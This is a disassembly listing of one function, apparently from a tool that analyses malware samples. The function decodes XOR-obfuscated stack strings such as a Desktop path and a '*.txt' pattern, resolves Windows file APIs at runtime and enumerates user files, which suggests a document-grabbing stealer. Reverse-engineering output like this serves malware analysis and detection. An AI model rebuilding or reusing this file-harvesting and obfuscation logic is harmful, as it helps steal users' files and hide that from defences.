Function at 0x45caf5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x486fed
call fcn.00486b34
sub esp, 0x36c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x1b4], edi
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x494070
lea ecx, [ebp - 0x17c]
call fcn.00403ae8
mov dl, 0x5d
mov dword [ebp - 0x125], 0x180e085d
mov dword [ebp - 0x121], 0x120f0d0f
mov dword [ebp - 0x11d], 0x1811141b
mov byte [ebp - 0x119], bl
mov ecx, ebx
mov dword [ebp - 0x1fc], ecx
cmp ecx, 0xb
jae 0x45cb7a
mov al, byte [ebp + ecx - 0x124]
xor al, dl
mov byte [ebp + ecx - 0x124], al
inc ecx
mov dword [ebp - 0x1fc], ecx
mov dl, byte [ebp - 0x125]
jmp 0x45cb56
mov byte [ebp - 0x119], bl
lea eax, [ebp - 0x124]
push eax
call fcn.0046e9c4
pop ecx
mov ecx, ebx
test eax, eax
je 0x45cc8a
mov dl, 0x16
mov dword [ebp - 0x7b], 0x73524a16
mov dword [ebp - 0x77], 0x79627d65
mov word [ebp - 0x73], 0x66
mov dword [ebp - 0x198], ecx
cmp ecx, 8
jae 0x45cbce
mov al, byte [ebp + ecx - 0x7a]
xor al, dl
mov byte [ebp + ecx - 0x7a], al
inc ecx
mov dword [ebp - 0x198], ecx
mov dl, byte [ebp - 0x7b]
jmp 0x45cbb3
mov byte [ebp - 0x72], bl
mov dl, 3
mov dword [ebp - 0x118], 0x46505603
mov dword [ebp - 0x114], 0x4c515351
mov dword [ebp - 0x110], 0x464f4a45
mov byte [ebp - 0x10c], bl
mov ecx, ebx
mov dword [ebp - 0x19c], ecx
cmp ecx, 0xb
jae 0x45cc23
mov al, byte [ebp + ecx - 0x117]
xor al, dl
mov byte [ebp + ecx - 0x117], al
inc ecx
mov dword [ebp - 0x19c], ecx
mov dl, byte [ebp - 0x118]
jmp 0x45cbff
mov byte [ebp - 0x10c], bl
lea eax, [ebp - 0x117]
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0x7a]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45cc4a
sub ecx, esi
push ecx
lea eax, [ebp - 0x7a]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
jmp 0x45cda9
mov dl, 0x3a
mov dword [ebp - 0x71], 0x5f7e663a
mov dword [ebp - 0x6d], 0x554e5149
mov word [ebp - 0x69], 0x4a
mov dword [ebp - 0x1a0], ecx
cmp ecx, 8
jae 0x45ccc1
mov al, byte [ebp + ecx - 0x70]
xor al, dl
mov byte [ebp + ecx - 0x70], al
inc ecx
mov dword [ebp - 0x1a0], ecx
mov dl, byte [ebp - 0x71]
jmp 0x45cca6
mov byte [ebp - 0x68], bl
mov dl, 0x6b
mov dword [ebp - 0x9c], 0x3751286b
mov dword [ebp - 0x98], 0x190e183e
mov word [ebp - 0x94], 0x3718
mov byte [ebp - 0x92], bl
mov ecx, ebx
mov dword [ebp - 0x210], ecx
cmp ecx, 9
jae 0x45cd15
mov al, byte [ebp + ecx - 0x9b]
xor al, dl
mov byte [ebp + ecx - 0x9b], al
inc ecx
mov dword [ebp - 0x210], ecx
mov dl, byte [ebp - 0x9c]
jmp 0x45ccf1
mov byte [ebp - 0x92], bl
lea eax, [ebp - 0x14c]
push eax
mov ecx, edi
call fcn.00457d5d
mov edx, eax
lea ecx, [ebp - 0x9b]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45cd34
sub ecx, esi
push ecx
lea eax, [ebp - 0x9b]
push eax
push ebx
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ab7
lea ecx, [ebp - 0x70]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45cd5f
sub ecx, edx
push ecx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
call fcn.00403b2e
lea ecx, [ebp - 0x14c]
call fcn.00403b2e
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00401522
test eax, eax
jne 0x45cdd0
lea ecx, [ebp - 0x17c]
call fcn.00403b2e
jmp 0x45da34
mov dl, 0x1f
mov dword [ebp - 0x51], 0x6b31351f
mov word [ebp - 0x4d], 0x6b67
mov byte [ebp - 0x4b], bl
mov ecx, ebx
mov dword [ebp - 0x20c], ecx
cmp ecx, 5
jae 0x45ce05
mov al, byte [ebp + ecx - 0x50]
xor al, dl
mov byte [ebp + ecx - 0x50], al
inc ecx
mov dword [ebp - 0x20c], ecx
mov dl, byte [ebp - 0x51]
jmp 0x45cdea
mov byte [ebp - 0x4b], bl
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push ebx
mov ebx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 4
mov dword [ebp - 0x43], 0x602a2e04
mov word [ebp - 0x3f], 0x676b
mov byte [ebp - 0x3d], 0
xor ecx, ecx
mov dword [ebp - 0x208], ecx
cmp ecx, 5
jae 0x45ce6b
mov al, byte [ebp + ecx - 0x42]
xor al, dl
mov byte [ebp + ecx - 0x42], al
inc ecx
mov dword [ebp - 0x208], ecx
mov dl, byte [ebp - 0x43]
jmp 0x45ce50
mov byte [ebp - 0x3d], 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x56
mov dword [ebp - 0x67], 0x32787c56
mov dword [ebp - 0x63], 0x2e3539
xor ecx, ecx
mov dword [ebp - 0x200], ecx
cmp ecx, 6
jae 0x45cecd
mov al, byte [ebp + ecx - 0x66]
xor al, dl
mov byte [ebp + ecx - 0x66], al
inc ecx
mov dword [ebp - 0x200], ecx
mov dl, byte [ebp - 0x67]
jmp 0x45ceb2
mov byte [ebp - 0x60], 0
lea eax, [ebp - 0x66]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x49
mov dword [ebp - 0x3c], 0x25676349
mov word [ebp - 0x38], 0x2e26
mov byte [ebp - 0x36], 0
xor ecx, ecx
mov dword [ebp - 0x204], ecx
cmp ecx, 5
jae 0x45cf32
mov al, byte [ebp + ecx - 0x3b]
xor al, dl
mov byte [ebp + ecx - 0x3b], al
inc ecx
mov dword [ebp - 0x204], ecx
mov dl, byte [ebp - 0x3c]
jmp 0x45cf17
mov byte [ebp - 0x36], 0
lea eax, [ebp - 0x3b]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x2e
mov dword [ebp - 0x10b], 0x6b7d7b2e
mov dword [ebp - 0x107], 0x617c7e7c
mov dword [ebp - 0x103], 0x6b626768
xor ebx, ebx
mov byte [ebp - 0xff], bl
mov ecx, ebx
mov dword [ebp - 0x1f8], ecx
cmp ecx, 0xb
jae 0x45cfb5
mov al, byte [ebp + ecx - 0x10a]
xor al, dl
mov byte [ebp + ecx - 0x10a], al
inc ecx
mov dword [ebp - 0x1f8], ecx
mov dl, byte [ebp - 0x10b]
jmp 0x45cf91
mov byte [ebp - 0xff], bl
lea eax, [ebp - 0x10a]
push eax
call fcn.0046e9c4
pop ecx
mov ecx, ebx
test eax, eax
je 0x45d0e9
mov dl, 0x5b
mov dword [ebp - 0xcc], 0x341f075b
mov dword [ebp - 0xc8], 0x3437352c
mov dword [ebp - 0xc4], 0x283f3a
mov dword [ebp - 0x1f4], ecx
cmp ecx, 0xa
jae 0x45d01c
mov al, byte [ebp + ecx - 0xcb]
xor al, dl
mov byte [ebp + ecx - 0xcb], al
inc ecx
mov dword [ebp - 0x1f4], ecx
mov dl, byte [ebp - 0xcc]
jmp 0x45cff8
mov byte [ebp - 0xc1], bl
mov dl, 0x2f
mov dword [ebp - 0xfe], 0x6a7c7a2f
mov dword [ebp - 0xfa], 0x607d7f7d
mov dword [ebp - 0xf6], 0x6a636669
mov byte [ebp - 0xf2], bl
mov ecx, ebx
mov dword [ebp - 0x1f0], ecx
cmp ecx, 0xb
jae 0x45d074
mov al, byte [ebp + ecx - 0xfd]
xor al, dl
mov byte [ebp + ecx - 0xfd], al
inc ecx
mov dword [ebp - 0x1f0], ecx
mov dl, byte [ebp - 0xfe]
jmp 0x45d050
mov byte [ebp - 0xf2], bl
lea eax, [ebp - 0xfd]
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0xcb]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d09e
sub ecx, esi
push ecx
lea eax, [ebp - 0xcb]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
call fcn.00403b2e
push 2
pop ebx
jmp 0x45d23a
mov dl, 0x53
mov dword [ebp - 0xc0], 0x3c170f53
mov dword [ebp - 0xbc], 0x3c3f3d24
mov dword [ebp - 0xb8], 0x203732
mov dword [ebp - 0x1ec], ecx
cmp ecx, 0xa
jae 0x45d133
mov al, byte [ebp + ecx - 0xbf]
xor al, dl
mov byte [ebp + ecx - 0xbf], al
inc ecx
mov dword [ebp - 0x1ec], ecx
mov dl, byte [ebp - 0xc0]
jmp 0x45d10f
mov byte [ebp - 0xb5], bl
mov dl, 0x71
mov dword [ebp - 0x91], 0x2d4b3271
mov byte [ebp - 0x8d], 0x24
push 2
pop ebx
mov byte [ebp - 0x8c], bl
mov word [ebp - 0x8b], 0x314
mov byte [ebp - 0x89], bl
mov word [ebp - 0x88], 0x2d
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
cmp ecx, 9
jae 0x45d199
mov al, byte [ebp + ecx - 0x90]
xor al, dl
mov byte [ebp + ecx - 0x90], al
inc ecx
mov dword [ebp - 0x1e8], ecx
mov dl, byte [ebp - 0x91]
jmp 0x45d175
mov byte [ebp - 0x87], 0
lea eax, [ebp - 0x14c]
push eax
mov ecx, edi
call fcn.00457d5d
mov edx, eax
lea ecx, [ebp - 0x90]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d1b9
sub ecx, esi
push ecx
lea eax, [ebp - 0x90]
push eax
push 0
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ab7
lea ecx, [ebp - 0xbf]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d1e8
sub ecx, edx
push ecx
lea eax, [ebp - 0xbf]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
call fcn.00403b2e
lea ecx, [ebp - 0x14c]
call fcn.00403b2e
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00401522
test eax, eax
je 0x45cdc0
mov dl, 0x13
mov dword [ebp - 0x35], 0x673d3913
mov word [ebp - 0x31], 0x676b
mov byte [ebp - 0x2f], 0
xor ecx, ecx
mov dword [ebp - 0x1e4], ecx
cmp ecx, 5
jae 0x45d286
mov al, byte [ebp + ecx - 0x34]
xor al, dl
mov byte [ebp + ecx - 0x34], al
inc ecx
mov dword [ebp - 0x1e4], ecx
mov dl, byte [ebp - 0x35]
jmp 0x45d26b
mov byte [ebp - 0x2f], 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x55
mov dword [ebp - 0x5f], 0x317b7f55
mov word [ebp - 0x5b], 0x363a
mov byte [ebp - 0x59], 0
xor ecx, ecx
mov dword [ebp - 0x1e0], ecx
cmp ecx, 5
jae 0x45d2ed
mov al, byte [ebp + ecx - 0x5e]
xor al, dl
mov byte [ebp + ecx - 0x5e], al
inc ecx
mov dword [ebp - 0x1e0], ecx
mov dl, byte [ebp - 0x5f]
jmp 0x45d2d2
mov byte [ebp - 0x59], 0
lea eax, [ebp - 0x5e]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x1a
mov dword [ebp - 0xf1], 0x5f494f1a
mov dword [ebp - 0xed], 0x55484a48
mov dword [ebp - 0xe9], 0x5f56535c
mov byte [ebp - 0xe5], 0
xor ecx, ecx
mov dword [ebp - 0x1dc], ecx
cmp ecx, 0xb
jae 0x45d371
mov al, byte [ebp + ecx - 0xf0]
xor al, dl
mov byte [ebp + ecx - 0xf0], al
inc ecx
mov dword [ebp - 0x1dc], ecx
mov dl, byte [ebp - 0xf1]
jmp 0x45d34d
mov byte [ebp - 0xe5], 0
lea eax, [ebp - 0xf0]
push eax
call fcn.0046e9c4
pop ecx
test eax, eax
je 0x45d4b5
mov byte [ebp - 0xb4], bl
mov dword [ebp - 0xb3], 0x616d465e
push 0x77
pop ebx
mov byte [ebp - 0xaf], bl
mov dword [ebp - 0xae], 0x766c676f
mov word [ebp - 0xaa], 0x71
xor ecx, ecx
mov dword [ebp - 0x1d8], ecx
push 2
pop edx
cmp ecx, 0xa
jae 0x45d3e8
mov al, byte [ebp + ecx - 0xb3]
xor al, dl
mov byte [ebp + ecx - 0xb3], al
inc ecx
mov dword [ebp - 0x1d8], ecx
mov dl, byte [ebp - 0xb4]
jmp 0x45d3c4
mov byte [ebp - 0xa9], 0
mov dl, 0x76
mov dword [ebp - 0x189], 0x33252376
mov dword [ebp - 0x185], 0x39242624
mov dword [ebp - 0x181], 0x333a3f30
mov byte [ebp - 0x17d], 0
xor ecx, ecx
mov dword [ebp - 0x1d4], ecx
cmp ecx, 0xb
jae 0x45d442
mov al, byte [ebp + ecx - 0x188]
xor al, dl
mov byte [ebp + ecx - 0x188], al
inc ecx
mov dword [ebp - 0x1d4], ecx
mov dl, byte [ebp - 0x189]
jmp 0x45d41e
mov byte [ebp - 0x17d], 0
lea eax, [ebp - 0x188]
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ae8
mov edx, eax
lea ecx, [ebp - 0xb3]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d46d
sub ecx, esi
push ecx
lea eax, [ebp - 0xb3]
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
call fcn.00403b2e
jmp 0x45d5f3
mov dl, 6
mov dword [ebp - 0xa8], 0x69425a06
mov dword [ebp - 0xa4], 0x636b7365
mov dword [ebp - 0xa0], 0x757268
xor ebx, ebx
mov ecx, ebx
mov dword [ebp - 0x1d0], ecx
cmp ecx, 0xa
jae 0x45d503
mov al, byte [ebp + ecx - 0xa7]
xor al, dl
mov byte [ebp + ecx - 0xa7], al
inc ecx
mov dword [ebp - 0x1d0], ecx
mov dl, byte [ebp - 0xa8]
jmp 0x45d4df
mov byte [ebp - 0x9d], bl
mov dl, 0x79
mov dword [ebp - 0x86], 0x25433a79
mov dword [ebp - 0x82], 0xb1c0a2c
mov word [ebp - 0x7e], 0x250a
mov byte [ebp - 0x7c], bl
mov ecx, ebx
mov dword [ebp - 0x1cc], ecx
cmp ecx, 9
jae 0x45d554
mov al, byte [ebp + ecx - 0x85]
xor al, dl
mov byte [ebp + ecx - 0x85], al
inc ecx
mov dword [ebp - 0x1cc], ecx
mov dl, byte [ebp - 0x86]
jmp 0x45d530
mov byte [ebp - 0x7c], bl
lea eax, [ebp - 0x14c]
push eax
mov ecx, edi
call fcn.00457d5d
mov edx, eax
lea ecx, [ebp - 0x85]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d570
sub ecx, esi
push ecx
lea eax, [ebp - 0x85]
push eax
push ebx
mov ecx, edx
call fcn.004041ae
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403ab7
lea ecx, [ebp - 0xa7]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45d59e
sub ecx, edx
push ecx
lea eax, [ebp - 0xa7]
push eax
lea ecx, [ebp - 0xe4]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ab7
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x17c]
call fcn.00403a82
lea ecx, [ebp - 0x28]
call fcn.00403b2e
lea ecx, [ebp - 0xe4]
call fcn.00403b2e
lea ecx, [ebp - 0x14c]
call fcn.00403b2e
push 0x77
pop ebx
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00401522
test eax, eax
je 0x45cdc0
mov byte [ebp - 0x58], bl
mov dword [ebp - 0x57], 0xf03595d
mov word [ebp - 0x53], 3
xor ecx, ecx
mov dword [ebp - 0x1c8], ecx
cmp ecx, 5
jae 0x45d63c
mov al, byte [ebp + ecx - 0x57]
xor al, bl
mov byte [ebp + ecx - 0x57], al
inc ecx
mov dword [ebp - 0x1c8], ecx
mov bl, byte [ebp - 0x58]
jmp 0x45d621
mov byte [ebp - 0x52], 0
lea eax, [ebp - 0x57]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
mov ebx, dword [ebp + 8]
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x2f
mov dword [ebp - 0x4a], 0x4b01052f
mov word [ebp - 0x46], 0x4c40
mov byte [ebp - 0x44], 0
xor ecx, ecx
mov dword [ebp - 0x1c4], ecx
cmp ecx, 5
jae 0x45d6a4
mov al, byte [ebp + ecx - 0x49]
xor al, dl
mov byte [ebp + ecx - 0x49], al
inc ecx
mov dword [ebp - 0x1c4], ecx
mov dl, byte [ebp - 0x4a]
jmp 0x45d689
mov byte [ebp - 0x44], 0
lea eax, [ebp - 0x49]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
push 1
push 0
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x17c]
push eax
mov ecx, edi
call fcn.00457fc2
lea ecx, [ebp - 0x28]
call fcn.00403b2e
push 0x3e
pop edx
mov byte [ebp - 0x2e], dl
mov dword [ebp - 0x2d], 0x14101462
mov byte [ebp - 0x29], 0
xor ecx, ecx
mov dword [ebp - 0x1bc], ecx
cmp ecx, 4
jae 0x45d707
mov al, byte [ebp + ecx - 0x2d]
xor al, dl
mov byte [ebp + ecx - 0x2d], al
inc ecx
mov dword [ebp - 0x1bc], ecx
mov dl, byte [ebp - 0x2e]
jmp 0x45d6ec
mov byte [ebp - 0x29], 0
lea eax, [ebp - 0x2d]
push eax
mov edx, ebx
lea ecx, [ebp - 0x28]
call fcn.00403d39
pop ecx
mov ecx, eax
call fcn.004039e7
mov esi, eax
mov dl, 0x78
mov dword [ebp - 0x15a], 0xa1d3378
mov dword [ebp - 0x156], 0x4b141d16
mov dword [ebp - 0x152], 0x141c564a
mov word [ebp - 0x14e], 0x14
xor ecx, ecx
mov dword [ebp - 0x1c0], ecx
cmp ecx, 0xc
jae 0x45d778
mov al, byte [ebp + ecx - 0x159]
xor al, dl
mov byte [ebp + ecx - 0x159], al
inc ecx
mov dword [ebp - 0x1c0], ecx
mov dl, byte [ebp - 0x15a]
jmp 0x45d754
mov byte [ebp - 0x14d], 0
lea eax, [ebp - 0x378]
push eax
push esi
mov edx, str.FindFirstFileA
lea ecx, [ebp - 0x159]
call fcn.004014d2
call eax
mov edi, eax
lea ecx, [ebp - 0x28]
call fcn.00403b2e
cmp edi, 0xffffffff
jne 0x45d7bb
push 0
push ebx
mov ecx, dword [ebp - 0x1b4]
call fcn.00401604
jmp 0x45d9d1
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x28]
call fcn.00403ae8
lea ecx, [ebp - 0x28]
call fcn.004039e7
mov esi, eax
mov dl, 4
mov dword [ebp - 0x133], 0x76614f04
mov dword [ebp - 0x12f], 0x3768616a
mov dword [ebp - 0x12b], 0x68602a36
mov word [ebp - 0x127], 0x68
xor ecx, ecx
mov dword [ebp - 0x1ac], ecx
cmp ecx, 0xc
jae 0x45d829
mov al, byte [ebp + ecx - 0x132]
xor al, dl
mov byte [ebp + ecx - 0x132], al
inc ecx
mov dword [ebp - 0x1ac], ecx
mov dl, byte [ebp - 0x133]
jmp 0x45d805
mov byte [ebp - 0x126], 0
lea eax, [ebp - 0x238]
push eax
push 0
push esi
mov edx, 0x49d310
lea ecx, [ebp - 0x132]
call fcn.004014d2
call eax
test eax, eax
je 0x45d94b
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x1b4], ecx
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0x1b8], eax
push 0
push 0x400
push ecx
push eax
call fcn.00486510
test edx, edx
jl 0x45d94b
jg 0x45d88f
cmp eax, 0x226
jb 0x45d94b
push 0x4940ac
mov edx, ebx
lea ecx, [ebp - 0x194]
call fcn.00403d39
pop ecx
lea ecx, [ebp - 0x28]
push ecx
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x164]
call fcn.00403ab7
lea ecx, [ebp - 0x164]
call fcn.004039e7
mov esi, eax
mov dl, 0x4a
mov dword [ebp - 0x142], 0x382f014a
mov dword [ebp - 0x13e], 0x79262f24
mov dword [ebp - 0x13a], 0x262e6478
mov word [ebp - 0x136], 0x26
xor ecx, ecx
mov dword [ebp - 0x1a8], ecx
cmp ecx, 0xc
jae 0x45d91b
mov al, byte [ebp + ecx - 0x141]
xor al, dl
mov byte [ebp + ecx - 0x141], al
inc ecx
mov dword [ebp - 0x1a8], ecx
mov dl, byte [ebp - 0x142]
jmp 0x45d8f7
mov byte [ebp - 0x135], 0
push esi
mov edx, 0x4940c4
lea ecx, [ebp - 0x141]
call fcn.004014d2
call eax
lea ecx, [ebp - 0x164]
call fcn.00403b2e
lea ecx, [ebp - 0x194]
call fcn.00403b2e
lea ecx, [ebp - 0x28]
call fcn.00403b2e
mov dl, 0x4e
mov dword [ebp - 0xda], 0x3c2b054e
mov dword [ebp - 0xd6], 0x7d222b20
mov dword [ebp - 0xd2], 0x222a607c
mov word [ebp - 0xce], 0x22
xor ecx, ecx
mov dword [ebp - 0x1a4], ecx
cmp ecx, 0xc
jae 0x45d9a8
mov al, byte [ebp + ecx - 0xd9]
xor al, dl
mov byte [ebp + ecx - 0xd9], al
inc ecx
mov dword [ebp - 0x1a4], ecx
mov dl, byte [ebp - 0xda]
jmp 0x45d984
mov byte [ebp - 0xcd], 0
lea eax, [ebp - 0x378]
push eax
push edi
mov edx, 0x4940d0
lea ecx, [ebp - 0xd9]
call fcn.004014d2
call eax
test eax, eax
jne 0x45d7bb
mov dl, 0x4d
mov dword [ebp - 0x1e], 0x3f28064d
mov dword [ebp - 0x1a], 0x7e212823
mov dword [ebp - 0x16], 0x2129637f
mov word [ebp - 0x12], 0x21
xor ecx, ecx
mov dword [ebp - 0x214], ecx
cmp ecx, 0xc
jae 0x45da11
mov al, byte [ebp + ecx - 0x1d]
xor al, dl
mov byte [ebp + ecx - 0x1d], al
inc ecx
mov dword [ebp - 0x214], ecx
mov dl, byte [ebp - 0x1e]
jmp 0x45d9f6
mov byte [ebp - 0x11], 0
push edi
mov edx, 0x4940e0
lea ecx, [ebp - 0x1d]
call fcn.004014d2
call eax
lea ecx, [ebp - 0x17c]
call fcn.00403b2e
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4